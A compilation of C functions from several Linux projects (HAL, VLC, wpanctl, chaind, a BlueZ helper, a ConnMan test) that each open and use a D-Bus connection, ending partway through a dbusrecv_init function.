int main (int argc, char *argv[])
{
DBusConnection *dbconn;
DBusError dberr;
LibHalContext *hal_ctx;
LibHalPropertyType property_type;
char *property_key;
dbus_bool_t bool_value;
int int_value;
char **udis;
int num_udis;
int i;
dbus_error_init (&dberr);
dbconn = dbus_bus_get (DBUS_BUS_SYSTEM, &dberr);
if (dbus_error_is_set (&dberr)) {
fprintf (stderr, "Can't get D-Bus system bus!");
return EXIT_FAILURE;
}
hal_ctx = libhal_ctx_new ();
if (hal_ctx == NULL) {
fprintf (stderr, "Can't create a LibHalContext!");
return EXIT_FAILURE;
}
/* Associate HAL with the D-Bus connection we established */
libhal_ctx_set_dbus_connection (hal_ctx, dbconn);
dbus_error_init (&dberr);
libhal_ctx_init (hal_ctx, &dberr);
if (dbus_error_is_set (&dberr)) {
fprintf (stderr, "libhal_ctx_init() failed: '%s'. Is hald running?",
dberr.message);
dbus_error_free (&dberr);
libhal_ctx_free (hal_ctx);
return EXIT_FAILURE;
}
/* Looking for optical drives: storage.cdrom is the capability */
udis = libhal_find_device_by_capability (hal_ctx, "storage.cdrom", &num_udis, &dberr);
if (dbus_error_is_set (&dberr)) {
fprintf (stderr, "libhal_find_device_by_capability error: '%s'\n", dberr.message);
dbus_error_free (&dberr);
libhal_ctx_free (hal_ctx);
return EXIT_FAILURE;
}
printf ("Found %d Optical Device(s)\n", num_udis);
for (i = 0; i < num_udis; i++) {
/* Ensure our properties are the expected type */
property_type = libhal_device_get_property_type (hal_ctx,
udis[i],
"storage.cdrom.dvd",
&dberr);
if (dbus_error_is_set (&dberr) || property_type != LIBHAL_PROPERTY_TYPE_BOOLEAN) {
fprintf (stderr, "error checking storage.cdrom.dvd type");
dbus_error_free (&dberr);
libhal_ctx_free (hal_ctx);
return EXIT_FAILURE;
}
property_type = libhal_device_get_property_type (hal_ctx,
udis[i],
"storage.cdrom.read_speed",
&dberr);
if (dbus_error_is_set (&dberr) || property_type != LIBHAL_PROPERTY_TYPE_INT32) {
fprintf (stderr, "error checking storage.cdrom.read_speed type");
dbus_error_free (&dberr);
libhal_ctx_free (hal_ctx);
return EXIT_FAILURE;
}
/* Okay, now simply get property values */
bool_value = libhal_device_get_property_bool (hal_ctx, udis[i],
"storage.cdrom.dvd",
&dberr);
if (dbus_error_is_set (&dberr)) {
fprintf (stderr, "error getting storage.cdrom.dvd");
dbus_error_free (&dberr);
libhal_ctx_free (hal_ctx);
return EXIT_FAILURE;
}
int_value = libhal_device_get_property_int (hal_ctx, udis[i],
"storage.cdrom.read_speed",
&dberr);
if (dbus_error_is_set (&dberr)) {
fprintf (stderr, "error getting storage.cdrom.dvd");
dbus_error_free (&dberr);
libhal_ctx_free (hal_ctx);
return EXIT_FAILURE;
}
/* Display the info we just got */
printf ("Device %s has a maximum read spead of %d kb/s and %s read DVDs.\n",
udis[i], int_value, bool_value ? "can" : "cannot");
}
return EXIT_SUCCESS;
}
/**
* Initialize a libvlc instance
* This function initializes a previously allocated libvlc instance:
* - CPU detection
* - gettext initialization
* - message queue, module bank and playlist initialization
* - configuration and commandline parsing
*/
int libvlc_InternalInit( libvlc_int_t *p_libvlc, int i_argc,
const char *ppsz_argv[] )
{
libvlc_priv_t *priv = libvlc_priv (p_libvlc);
char * psz_modules = NULL;
char * psz_parser = NULL;
char * psz_control = NULL;
playlist_t *p_playlist = NULL;
char *psz_val;
/* System specific initialization code */
system_Init();
/* Initialize the module bank and load the configuration of the
* main module. We need to do this at this stage to be able to display
* a short help if required by the user. (short help == main module
* options) */
module_InitBank ();
/* Get command line options that affect module loading. */
if( config_LoadCmdLine( p_libvlc, i_argc, ppsz_argv, NULL ) )
{
module_EndBank (false);
return VLC_EGENERIC;
}
priv->i_verbose = var_InheritInteger( p_libvlc, "verbose" );
/* Announce who we are (TODO: only first instance?) */
msg_Dbg( p_libvlc, "VLC media player - %s", VERSION_MESSAGE );
msg_Dbg( p_libvlc, "%s", COPYRIGHT_MESSAGE );
msg_Dbg( p_libvlc, "revision %s", psz_vlc_changeset );
msg_Dbg( p_libvlc, "configured with %s", CONFIGURE_LINE );
/* Load the builtins and plugins into the module_bank.
* We have to do it before config_Load*() because this also gets the
* list of configuration options exported by each module and loads their
* default values. */
size_t module_count = module_LoadPlugins (p_libvlc);
/*
* Override default configuration with config file settings
*/
if( !var_InheritBool( p_libvlc, "ignore-config" ) )
{
if( var_InheritBool( p_libvlc, "reset-config" ) )
config_SaveConfigFile( p_libvlc ); /* Save default config */
else
config_LoadConfigFile( p_libvlc );
}
/*
* Override configuration with command line settings
*/
int vlc_optind;
if( config_LoadCmdLine( p_libvlc, i_argc, ppsz_argv, &vlc_optind ) )
{
#ifdef WIN32
MessageBox (NULL, TEXT("The command line options could not be parsed.\n"
"Make sure they are valid."), TEXT("VLC media player"),
MB_OK|MB_ICONERROR);
#endif
module_EndBank (true);
return VLC_EGENERIC;
}
priv->i_verbose = var_InheritInteger( p_libvlc, "verbose" );
/*
* Support for gettext
*/
#if defined( ENABLE_NLS ) \
&& ( defined( HAVE_GETTEXT ) || defined( HAVE_INCLUDED_GETTEXT ) )
# if defined (WIN32) || defined (__APPLE__)
/* Check if the user specified a custom language */
char *lang = var_InheritString (p_libvlc, "language");
if (lang != NULL && strcmp (lang, "auto"))
SetLanguage (lang);
free (lang);
# endif
vlc_bindtextdomain (PACKAGE_NAME);
#endif
/*xgettext: Translate "C" to the language code: "fr", "en_GB", "nl", "ru"... */
msg_Dbg( p_libvlc, "translation test: code is \"%s\"", _("C") );
if (config_PrintHelp (VLC_OBJECT(p_libvlc)))
{
module_EndBank (true);
return VLC_EEXITSUCCESS;
}
if( module_count <= 1 )
{
msg_Err( p_libvlc, "No plugins found! Check your VLC installation.");
module_EndBank (true);
return VLC_ENOITEM;
}
#ifdef HAVE_DAEMON
/* Check for daemon mode */
if( var_InheritBool( p_libvlc, "daemon" ) )
{
char *psz_pidfile = NULL;
if( daemon( 1, 0) != 0 )
{
msg_Err( p_libvlc, "Unable to fork vlc to daemon mode" );
module_EndBank (true);
return VLC_EEXIT;
}
b_daemon = true;
/* lets check if we need to write the pidfile */
psz_pidfile = var_CreateGetNonEmptyString( p_libvlc, "pidfile" );
if( psz_pidfile != NULL )
{
FILE *pidfile;
pid_t i_pid = getpid ();
msg_Dbg( p_libvlc, "PID is %d, writing it to %s",
i_pid, psz_pidfile );
pidfile = vlc_fopen( psz_pidfile,"w" );
if( pidfile != NULL )
{
utf8_fprintf( pidfile, "%d", (int)i_pid );
fclose( pidfile );
}
else
{
msg_Err( p_libvlc, "cannot open pid file for writing: %s (%m)",
psz_pidfile );
}
}
free( psz_pidfile );
}
#endif
/* FIXME: could be replaced by using Unix sockets */
#ifdef HAVE_DBUS
dbus_threads_init_default();
if( var_InheritBool( p_libvlc, "one-instance" )
|| ( var_InheritBool( p_libvlc, "one-instance-when-started-from-file" )
&& var_InheritBool( p_libvlc, "started-from-file" ) ) )
{
/* Initialise D-Bus interface, check for other instances */
DBusConnection *p_conn = NULL;
DBusError dbus_error;
dbus_error_init( &dbus_error );
/* connect to the session bus */
p_conn = dbus_bus_get( DBUS_BUS_SESSION, &dbus_error );
if( !p_conn )
{
msg_Err( p_libvlc, "Failed to connect to D-Bus session daemon: %s",
dbus_error.message );
dbus_error_free( &dbus_error );
}
else
{
/* check if VLC is available on the bus
* if not: D-Bus control is not enabled on the other
* instance and we can't pass MRLs to it */
DBusMessage *p_test_msg = NULL;
DBusMessage *p_test_reply = NULL;
p_test_msg = dbus_message_new_method_call(
"org.mpris.MediaPlayer2.vlc", "/org/mpris/MediaPlayer2",
"org.freedesktop.DBus.Introspectable", "Introspect" );
/* block until a reply arrives */
p_test_reply = dbus_connection_send_with_reply_and_block(
p_conn, p_test_msg, -1, &dbus_error );
dbus_message_unref( p_test_msg );
if( p_test_reply == NULL )
{
dbus_error_free( &dbus_error );
msg_Dbg( p_libvlc, "No Media Player is running. "
"Continuing normally." );
}
else
{
int i_input;
DBusMessage* p_dbus_msg = NULL;
DBusMessageIter dbus_args;
DBusPendingCall* p_dbus_pending = NULL;
dbus_bool_t b_play;
dbus_message_unref( p_test_reply );
msg_Warn( p_libvlc, "Another Media Player is running. Exiting");
for( i_input = vlc_optind; i_input < i_argc;i_input++ )
{
/* Skip input options, we can't pass them through D-Bus */
if( ppsz_argv[i_input][0] == ':' )
{
msg_Warn( p_libvlc, "Ignoring option %s",
ppsz_argv[i_input] );
continue;
}
/* We need to resolve relative paths in this instance */
char *psz_mrl = make_URI( ppsz_argv[i_input], NULL );
const char *psz_after_track = "/";
if( psz_mrl == NULL )
continue;
msg_Dbg( p_libvlc, "Adds %s to the running Media Player",
psz_mrl );
p_dbus_msg = dbus_message_new_method_call(
"org.mpris.MediaPlayer2.vlc", "/org/mpris/MediaPlayer2",
"org.mpris.MediaPlayer2.TrackList", "AddTrack" );
if ( NULL == p_dbus_msg )
{
msg_Err( p_libvlc, "D-Bus problem" );
free( psz_mrl );
system_End( );
exit( 1 );
}
/* append MRLs */
dbus_message_iter_init_append( p_dbus_msg, &dbus_args );
if ( !dbus_message_iter_append_basic( &dbus_args,
DBUS_TYPE_STRING, &psz_mrl ) )
{
dbus_message_unref( p_dbus_msg );
free( psz_mrl );
system_End( );
exit( 1 );
}
free( psz_mrl );
if( !dbus_message_iter_append_basic( &dbus_args,
DBUS_TYPE_OBJECT_PATH, &psz_after_track ) )
{
dbus_message_unref( p_dbus_msg );
system_End( );
exit( 1 );
}
b_play = TRUE;
if( var_InheritBool( p_libvlc, "playlist-enqueue" ) )
b_play = FALSE;
if ( !dbus_message_iter_append_basic( &dbus_args,
DBUS_TYPE_BOOLEAN, &b_play ) )
{
dbus_message_unref( p_dbus_msg );
system_End( );
exit( 1 );
}
/* send message and get a handle for a reply */
if ( !dbus_connection_send_with_reply ( p_conn,
p_dbus_msg, &p_dbus_pending, -1 ) )
{
msg_Err( p_libvlc, "D-Bus problem" );
dbus_message_unref( p_dbus_msg );
system_End( );
exit( 1 );
}
if ( NULL == p_dbus_pending )
{
msg_Err( p_libvlc, "D-Bus problem" );
dbus_message_unref( p_dbus_msg );
system_End( );
exit( 1 );
}
dbus_connection_flush( p_conn );
dbus_message_unref( p_dbus_msg );
/* block until we receive a reply */
dbus_pending_call_block( p_dbus_pending );
dbus_pending_call_unref( p_dbus_pending );
} /* processes all command line MRLs */
/* bye bye */
system_End( );
exit( 0 );
}
}
/* we unreference the connection when we've finished with it */
if( p_conn ) dbus_connection_unref( p_conn );
}
#endif
/*
* Message queue options
*/
/* Last chance to set the verbosity. Once we start interfaces and other
* threads, verbosity becomes read-only. */
var_Create( p_libvlc, "verbose", VLC_VAR_INTEGER | VLC_VAR_DOINHERIT );
if( var_InheritBool( p_libvlc, "quiet" ) )
{
var_SetInteger( p_libvlc, "verbose", -1 );
priv->i_verbose = -1;
}
vlc_threads_setup( p_libvlc );
if( priv->b_color )
priv->b_color = var_InheritBool( p_libvlc, "color" );
vlc_CPU_dump( VLC_OBJECT(p_libvlc) );
/*
* Choose the best memcpy module
*/
priv->p_memcpy_module = module_need( p_libvlc, "memcpy", "$memcpy", false );
/* Avoid being called "memcpy":*/
vlc_object_set_name( p_libvlc, "main" );
priv->b_stats = var_InheritBool( p_libvlc, "stats" );
priv->i_timers = 0;
priv->pp_timers = NULL;
/*
* Initialize hotkey handling
*/
priv->actions = vlc_InitActions( p_libvlc );
/* Create a variable for showing the fullscreen interface */
var_Create( p_libvlc, "intf-toggle-fscontrol", VLC_VAR_BOOL );
var_SetBool( p_libvlc, "intf-toggle-fscontrol", true );
/* Create a variable for the Boss Key */
var_Create( p_libvlc, "intf-boss", VLC_VAR_VOID );
/* Create a variable for showing the main interface */
var_Create( p_libvlc, "intf-show", VLC_VAR_BOOL );
/* Create a variable for showing the right click menu */
var_Create( p_libvlc, "intf-popupmenu", VLC_VAR_BOOL );
/* variables for signalling creation of new files */
var_Create( p_libvlc, "snapshot-file", VLC_VAR_STRING );
var_Create( p_libvlc, "record-file", VLC_VAR_STRING );
/* some default internal settings */
var_Create( p_libvlc, "window", VLC_VAR_STRING );
var_Create( p_libvlc, "user-agent", VLC_VAR_STRING );
var_SetString( p_libvlc, "user-agent", "(LibVLC "VERSION")" );
/* Initialize playlist and get commandline files */
p_playlist = playlist_Create( VLC_OBJECT(p_libvlc) );
if( !p_playlist )
{
msg_Err( p_libvlc, "playlist initialization failed" );
if( priv->p_memcpy_module != NULL )
{
module_unneed( p_libvlc, priv->p_memcpy_module );
}
module_EndBank (true);
return VLC_EGENERIC;
}
/* System specific configuration */
system_Configure( p_libvlc, i_argc - vlc_optind, ppsz_argv + vlc_optind );
#if defined(MEDIA_LIBRARY)
/* Get the ML */
if( var_GetBool( p_libvlc, "load-media-library-on-startup" ) )
{
priv->p_ml = ml_Create( VLC_OBJECT( p_libvlc ), NULL );
if( !priv->p_ml )
{
msg_Err( p_libvlc, "ML initialization failed" );
return VLC_EGENERIC;
}
}
else
{
priv->p_ml = NULL;
}
#endif
/* Add service discovery modules */
psz_modules = var_InheritString( p_libvlc, "services-discovery" );
if( psz_modules )
{
char *p = psz_modules, *m;
while( ( m = strsep( &p, " :," ) ) != NULL )
playlist_ServicesDiscoveryAdd( p_playlist, m );
free( psz_modules );
}
#ifdef ENABLE_VLM
/* Initialize VLM if vlm-conf is specified */
psz_parser = var_CreateGetNonEmptyString( p_libvlc, "vlm-conf" );
if( psz_parser )
{
priv->p_vlm = vlm_New( p_libvlc );
if( !priv->p_vlm )
msg_Err( p_libvlc, "VLM initialization failed" );
}
free( psz_parser );
#endif
/*
* Load background interfaces
*/
psz_modules = var_CreateGetNonEmptyString( p_libvlc, "extraintf" );
psz_control = var_CreateGetNonEmptyString( p_libvlc, "control" );
if( psz_modules && psz_control )
{
char* psz_tmp;
if( asprintf( &psz_tmp, "%s:%s", psz_modules, psz_control ) != -1 )
{
free( psz_modules );
psz_modules = psz_tmp;
}
}
else if( psz_control )
{
free( psz_modules );
psz_modules = strdup( psz_control );
}
psz_parser = psz_modules;
while ( psz_parser && *psz_parser )
{
char *psz_module, *psz_temp;
psz_module = psz_parser;
psz_parser = strchr( psz_module, ':' );
if ( psz_parser )
{
*psz_parser = '\0';
psz_parser++;
}
if( asprintf( &psz_temp, "%s,none", psz_module ) != -1)
{
intf_Create( p_libvlc, psz_temp );
free( psz_temp );
}
}
free( psz_modules );
free( psz_control );
/*
* Always load the hotkeys interface if it exists
*/
intf_Create( p_libvlc, "hotkeys,none" );
#ifdef HAVE_DBUS
/* loads dbus control interface if in one-instance mode
* we do it only when playlist exists, because dbus module needs it */
if( var_InheritBool( p_libvlc, "one-instance" )
|| ( var_InheritBool( p_libvlc, "one-instance-when-started-from-file" )
&& var_InheritBool( p_libvlc, "started-from-file" ) ) )
intf_Create( p_libvlc, "dbus,none" );
# if !defined (HAVE_MAEMO)
/* Prevents the power management daemon from suspending the system
* when VLC is active */
if( var_InheritBool( p_libvlc, "inhibit" ) > 0 )
intf_Create( p_libvlc, "inhibit,none" );
# endif
#endif
if( var_InheritBool( p_libvlc, "file-logging" )
#ifdef HAVE_SYSLOG_H
&& !var_InheritBool( p_libvlc, "syslog" )
#endif
)
{
intf_Create( p_libvlc, "logger,none" );
}
#ifdef HAVE_SYSLOG_H
if( var_InheritBool( p_libvlc, "syslog" ) )
{
char *logmode = var_CreateGetNonEmptyString( p_libvlc, "logmode" );
var_SetString( p_libvlc, "logmode", "syslog" );
intf_Create( p_libvlc, "logger,none" );
if( logmode )
{
var_SetString( p_libvlc, "logmode", logmode );
free( logmode );
}
var_Destroy( p_libvlc, "logmode" );
}
#endif
if( var_InheritBool( p_libvlc, "network-synchronisation") )
{
intf_Create( p_libvlc, "netsync,none" );
}
#ifdef __APPLE__
var_Create( p_libvlc, "drawable-view-top", VLC_VAR_INTEGER );
var_Create( p_libvlc, "drawable-view-left", VLC_VAR_INTEGER );
var_Create( p_libvlc, "drawable-view-bottom", VLC_VAR_INTEGER );
var_Create( p_libvlc, "drawable-view-right", VLC_VAR_INTEGER );
var_Create( p_libvlc, "drawable-clip-top", VLC_VAR_INTEGER );
var_Create( p_libvlc, "drawable-clip-left", VLC_VAR_INTEGER );
var_Create( p_libvlc, "drawable-clip-bottom", VLC_VAR_INTEGER );
var_Create( p_libvlc, "drawable-clip-right", VLC_VAR_INTEGER );
var_Create( p_libvlc, "drawable-nsobject", VLC_VAR_ADDRESS );
#endif
#if defined (WIN32) || defined (__OS2__)
var_Create( p_libvlc, "drawable-hwnd", VLC_VAR_INTEGER );
#endif
/*
* Get input filenames given as commandline arguments.
* We assume that the remaining parameters are filenames
* and their input options.
*/
GetFilenames( p_libvlc, i_argc - vlc_optind, ppsz_argv + vlc_optind );
/*
* Get --open argument
*/
psz_val = var_InheritString( p_libvlc, "open" );
if ( psz_val != NULL )
{
playlist_AddExt( p_playlist, psz_val, NULL, PLAYLIST_INSERT, 0,
-1, 0, NULL, 0, true, pl_Unlocked );
free( psz_val );
}
return VLC_SUCCESS;
}
int tool_cmd_scan(int argc, char *argv[])
{
int ret = 0;
int c;
int timeout = DEFAULT_TIMEOUT_IN_SECONDS * 1000;
DBusConnection* connection = NULL;
DBusMessage *message = NULL;
DBusMessage *reply = NULL;
DBusPendingCall *pending = NULL;
DBusError error;
int32_t scan_period = 0;
uint32_t channel_mask = 0;
dbus_error_init(&error);
while (1) {
static struct option long_options[] = {
{"help", no_argument, 0, 'h'},
{"timeout", required_argument, 0, 't'},
{"channel", required_argument, 0, 'c'},
{0, 0, 0, 0}
};
int option_index = 0;
c = getopt_long(argc, argv, "hc:t:", long_options,
&option_index);
if (c == -1)
break;
switch (c) {
case 'h':
print_arg_list_help(scan_option_list, argv[0],
scan_cmd_syntax);
ret = ERRORCODE_HELP;
goto bail;
case 't':
timeout = strtol(optarg, NULL, 0);
break;
case 'c':
channel_mask = strtomask_uint32(optarg);
break;
}
}
if (optind < argc) {
if (scan_period == 0) {
scan_period = strtol(argv[optind], NULL, 0);
optind++;
}
}
if (optind < argc) {
fprintf(stderr,
"%s: error: Unexpected extra argument: \"%s\"\n",
argv[0], argv[optind]);
ret = ERRORCODE_BADARG;
goto bail;
}
if (gInterfaceName[0] == 0) {
fprintf(stderr,
"%s: error: No WPAN interface set (use the `cd` command, or the `-I` argument for `wpanctl`).\n",
argv[0]);
ret = ERRORCODE_BADARG;
goto bail;
}
connection = dbus_bus_get(DBUS_BUS_STARTER, &error);
if (!connection) {
dbus_error_free(&error);
dbus_error_init(&error);
connection = dbus_bus_get(DBUS_BUS_SYSTEM, &error);
}
require_string(connection != NULL, bail, error.message);
dbus_bus_add_match(connection, gDBusObjectManagerMatchString, &error);
require_string(error.name == NULL, bail, error.message);
dbus_connection_add_filter(connection, &dbus_beacon_handler, NULL, NULL);
{
char path[DBUS_MAXIMUM_NAME_LENGTH+1];
char interface_dbus_name[DBUS_MAXIMUM_NAME_LENGTH+1];
DBusMessageIter iter;
ret = lookup_dbus_name_from_interface(interface_dbus_name, gInterfaceName);
if (ret != 0) {
goto bail;
}
snprintf(
path,
sizeof(path),
"%s/%s",
WPANTUND_DBUS_PATH,
gInterfaceName
);
message = dbus_message_new_method_call(
interface_dbus_name,
path,
WPANTUND_DBUS_APIv1_INTERFACE,
WPANTUND_IF_CMD_NET_SCAN_START
);
dbus_message_append_args(
message,
DBUS_TYPE_UINT32, &channel_mask,
DBUS_TYPE_INVALID
);
print_scan_header();
gScannedNetworkCount = 0;
if(!dbus_connection_send_with_reply(
connection,
message,
&pending,
timeout
)) {
fprintf(stderr, "%s: error: IPC failure\n", argv[0]);
ret = ERRORCODE_UNKNOWN;
goto bail;
}
while ((dbus_connection_get_dispatch_status(connection) == DBUS_DISPATCH_DATA_REMAINS)
|| dbus_connection_has_messages_to_send(connection)
|| !dbus_pending_call_get_completed(pending)
) {
dbus_connection_read_write_dispatch(connection, 5000 /*ms*/);
}
reply = dbus_pending_call_steal_reply(pending);
require(reply!=NULL, bail);
dbus_message_iter_init(reply, &iter);
if (dbus_message_iter_get_arg_type(&iter) != DBUS_TYPE_INT32) {
fprintf(stderr, "%s: error: Server returned a bad response ('%c')\n",
argv[0], dbus_message_iter_get_arg_type(&iter));
ret = ERRORCODE_UNKNOWN;
goto bail;
}
// Get return code
dbus_message_iter_get_basic(&iter, &ret);
if (ret) {
fprintf(stderr, "%s failed with error %d. %s\n", argv[0], ret, wpantund_status_to_cstr(ret));
print_error_diagnosis(ret);
goto bail;
}
}
bail:
if (reply) {
dbus_message_unref(reply);
}
if (pending != NULL) {
dbus_pending_call_unref(pending);
}
if (message) {
dbus_message_unref(message);
}
if (connection) {
dbus_bus_remove_match(connection, gDBusObjectManagerMatchString, NULL);
dbus_connection_remove_filter(connection,&dbus_beacon_handler,NULL);
dbus_connection_unref(connection);
}
dbus_error_free(&error);
return ret;
}
struct dbus* dbus_start_service(struct chaind* state)
{
struct dbus* dbus = (struct dbus*)malloc(sizeof(struct dbus));
zero(dbus);
dbus->state = state;
// Try connecting to the system bus (if we're root), and if we fail, try the session bus.
DBusError err;
dbus_error_init(&err);
for(int attempt = 0; attempt < 2; attempt++) {
dbus->conn = dbus_bus_get(attempt == 0 ? DBUS_BUS_SYSTEM : DBUS_BUS_SESSION, &err);
if(dbus_error_is_set(&err)) {
log_warning("cannot connect to %s bus: %s", (attempt == 0) ? "system" : "session", err.message);
goto error;
}
if(dbus->conn == NULL) {
log_warning("cannot connect to %s bus", (attempt == 0) ? "system" : "session");
goto error;
}
// Register the block/tx filter
if(!dbus_connection_add_filter(dbus->conn, filter_message, (void*)dbus, NULL)) {
log_warning("cannot register message filter");
goto error;
}
// Register the object before requesting a name
dbus_connection_register_object_path(dbus->conn, "/org/sarcharsoftware/chaind", &chaind_vtable, (void*)dbus);
int ret = dbus_bus_request_name(dbus->conn, "org.sarcharsoftware.chaind", 0, &err);
if(dbus_error_is_set(&err)) {
log_warning("couldn't claim primary name org.sarcharsoftware.chaind: %s", err.message);
dbus_connection_unref(dbus->conn);
dbus->conn = NULL;
dbus_error_free(&err);
dbus_error_init(&err);
continue;
}
if(ret != DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER) {
log_warning("couldn't claim primary name org.sarcharsoftware.chaind: not the primary owner", err.message);
goto error;
}
log_debug("dbus connected to %s bus", (attempt == 0) ? "system" : "session");
break;
}
if(!dbus_connection_set_timeout_functions(dbus->conn, add_timeout, remove_timeout, toggle_timeout, (void*)dbus, NULL)) {
goto error;
}
if(!dbus_connection_set_watch_functions(dbus->conn, add_watch, remove_watch, watch_toggled, (void*)dbus, NULL)) {
goto error;
}
dbus_error_free(&err);
return dbus;
error:
dbus_destroy_service(dbus);
return NULL;
}
void registerService()
{
DBusMessage* msg;
DBusMessageIter args;
DBusConnection* conn;
DBusError err;
DBusPendingCall* pending;
dbus_uint32_t level;
int fd;
char path[PATH_MAX];
const char *ret_string = 0;
// initialiset the errors
dbus_error_init(&err);
conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Connection Error (%s)\n", err.message);
dbus_error_free(&err);
return;
}
// create a new method call and check for errors
msg = dbus_message_new_method_call("org.bluez", // target for the method call
"/", // object to call on
"org.bluez.Manager", // interface to call on
"DefaultAdapter"); // method name
if (!dbus_connection_send_with_reply (conn, msg, &pending, -1)) {
fprintf(stderr, "dbus-send failed: Out Of Memory!\n");
return;
}
dbus_connection_flush(conn);
dbus_message_unref(msg);
dbus_pending_call_block(pending);
msg = dbus_pending_call_steal_reply(pending);
dbus_pending_call_unref(pending);
if (!dbus_message_iter_init(msg, &args))
fprintf(stderr, "Message has no arguments!\n");
else if (DBUS_TYPE_OBJECT_PATH != dbus_message_iter_get_arg_type(&args))
fprintf(stderr, "Argument is not an object path!\n");
else
dbus_message_iter_get_basic(&args, &ret_string);
if(!ret_string){
fprintf(stderr, "Failed to get bluez path\n");
return;
}
strcpy(path, ret_string);
// change path to use any
strcpy(rindex(path, '/'), "/any");
printf("Using path: %s\n", path);
dbus_message_unref(msg);
// create a new method call and check for errors
msg = dbus_message_new_method_call("org.bluez", // target for the method call
path, // object to call on
"org.bluez.Service", // interface to call on
"AddRecord"); // method name
if(!dbus_message_append_args(msg, DBUS_TYPE_STRING, &xmldefn, DBUS_TYPE_INVALID)){
fprintf(stderr, "Failed to append args\n");
return;
}
// send message and get a handle for a reply
if (!dbus_connection_send_with_reply (conn, msg, &pending, -1)) { // -1 is default timeout
fprintf(stderr, "Out Of Memory!\n");
exit(1);
}
dbus_connection_flush(conn);
// free message
dbus_message_unref(msg);
// block until we receive a reply
dbus_pending_call_block(pending);
// get the reply message
msg = dbus_pending_call_steal_reply(pending);
if (NULL == msg) {
fprintf(stderr, "Reply Null\n");
return;
}
// free the pending message handle
dbus_pending_call_unref(pending);
// read the parameters
if (!dbus_message_iter_init(msg, &args))
fprintf(stderr, "Message has no arguments!\n");
else if (DBUS_TYPE_UINT32 != dbus_message_iter_get_arg_type(&args))
fprintf(stderr, "Argument is not int!\n");
else
dbus_message_iter_get_basic(&args, &level);
printf("Got handle: 0x%x\n", level);
// free reply
dbus_message_unref(msg);
dbus_connection_get_socket(conn, &fd);
addfd(head, fd, POLLHUP|POLLNVAL, dbus_error, 0x0);
}
int main(int argc, char *argv[])
{
DBusConnection *conn;
int fd = -1;
char *server_ip;
char *peer_ip;
char *primary_dns;
char *secondary_dns;
/*
* IP packet: src: 192.168.219.2 dst www.connman.net
* HTTP GET / request
*/
int buf[81] = { 0x45, 0x00, 0x00, 0x51, 0x5a, 0xbe, 0x00, 0x00, 0x40,
0x06, 0x50, 0x73, 0xc0, 0xa8, 0xdb, 0x01, 0x3e, 0x4b,
0xf5, 0x80, 0x30, 0x3b, 0x00, 0x50, 0x00, 0x00, 0x00,
0x28, 0x04, 0xfd, 0xac, 0x9b, 0x50, 0x18, 0x02, 0x00,
0xa1, 0xb3, 0x00, 0x00, 0x47, 0x45, 0x54, 0x20, 0x2f,
0x20, 0x48, 0x54, 0x54, 0x50, 0x2f, 0x31, 0x2e, 0x31,
0x0d, 0x0a, 0x48, 0x6f, 0x73, 0x74, 0x3a, 0x20, 0x77,
0x77, 0x77, 0x2e, 0x63, 0x6f, 0x6e, 0x6e, 0x6d, 0x61,
0x6e, 0x2e, 0x6e, 0x65, 0x74, 0x0d, 0x0a, 0x0d, 0x0a};
int buf2[81] = { 0x45, 0x00, 0x00, 0x51, 0x57, 0x9d, 0x00, 0x00, 0x40,
0x06, 0x53, 0x93, 0xc0, 0xa8, 0xdb, 0x02, 0x3e, 0x4b,
0xf5, 0x80, 0x30, 0x3b, 0x00, 0x50, 0x00, 0x00, 0x00,
0x28, 0x17, 0xdb, 0x2e, 0x6d, 0x50, 0x18, 0x02, 0x00,
0x0d, 0x03, 0x00, 0x00, 0x47, 0x45, 0x54, 0x20, 0x2f,
0x20, 0x48, 0x54, 0x54, 0x50, 0x2f, 0x31, 0x2e, 0x31,
0x0d, 0x0a, 0x48, 0x6f, 0x73, 0x74, 0x3a, 0x20, 0x77,
0x77, 0x77, 0x2e, 0x63, 0x6f, 0x6e, 0x6e, 0x6d, 0x61,
0x6e, 0x2e, 0x6e, 0x65, 0x74, 0x0d, 0x0a, 0x0d, 0x0a};
if (DBUS_TYPE_UNIX_FD < 0) {
fprintf(stderr, "File-descriptor passing not supported\n");
exit(1);
}
conn = dbus_bus_get(DBUS_BUS_SYSTEM, NULL);
if (!conn) {
fprintf(stderr, "Can't get on system bus\n");
exit(1);
}
request_private_network(conn, &fd, &server_ip, &peer_ip,
&primary_dns, &secondary_dns);
if (fd < 0)
return -1;
fcntl(fd, F_SETFL, O_NONBLOCK);
printf("Press ENTER to write data to the network.\n");
getchar();
if (!fork()) {
if (write(fd, buf, 81) < 0) {
fprintf(stderr, "err on write() buf\n");
return -1;
}
if (write(fd, buf2, 81) < 0) {
fprintf(stderr, "err on write() buf2\n");
return -1;
}
printf("Press ENTER to release private network.\n");
getchar();
if (release_private_network(conn) < 0)
return -1;
close(fd);
dbus_connection_unref(conn);
} else {
struct pollfd p;
char buf[1500];
int len;
p.fd = fd;
p.events = POLLIN | POLLERR | POLLHUP;
while (1) {
p.revents = 0;
if (poll(&p, 1, -1) <= 0)
return -1;
if (p.revents & (POLLERR | POLLHUP))
return -1;
len = read(fd, buf, sizeof(buf));
if (len < 0)
return -1;
printf("%d bytes received\n", len);
}
}
return 0;
}
dbusrecv_hdl_st *dbusrecv_init(char *myname, callbk_filter_func filter_func)
{
dbusrecv_hdl_st *p_dbusrecv_hdl = NULL;
int result = 0;
int retval = 0;
if (NULL == myname)
{
printf("dbusrev_init: invalid parameters, myname couldn't be NULL!\n");
return NULL;
}
if (NULL == filter_func)
{
printf("dbusrev_init: invalid parameters, filter_func couldn't be NULL!\n");
return NULL;
}
p_dbusrecv_hdl = DBUS_MALLOC(sizeof(dbusrecv_hdl_st));
if (NULL == p_dbusrecv_hdl)
{
printf("dbusrev_init: malloc failed, p_dbusrecv_hdl!\n");
return NULL;
}
p_dbusrecv_hdl->dbusrecv_cfg.myname = (char *)malloc(strlen(myname) + 1);
memset(p_dbusrecv_hdl->dbusrecv_cfg.myname, 0x0, strlen(myname) + 1);
memcpy(p_dbusrecv_hdl->dbusrecv_cfg.myname, myname, strlen(myname));
p_dbusrecv_hdl->filter_func = filter_func;
dbus_error_init (&p_dbusrecv_hdl->error);
p_dbusrecv_hdl->connection = dbus_bus_get (DBUS_BUS_SYSTEM, &p_dbusrecv_hdl->error);
if (NULL == p_dbusrecv_hdl->connection)
{
printf("%s: Failed to open connection to activating message bus: %s\n", __FILE__, p_dbusrecv_hdl->error.message);
retval = -1;
goto ERROR;
}
p_dbusrecv_hdl->dbusloop = _dbus_loop_new ();
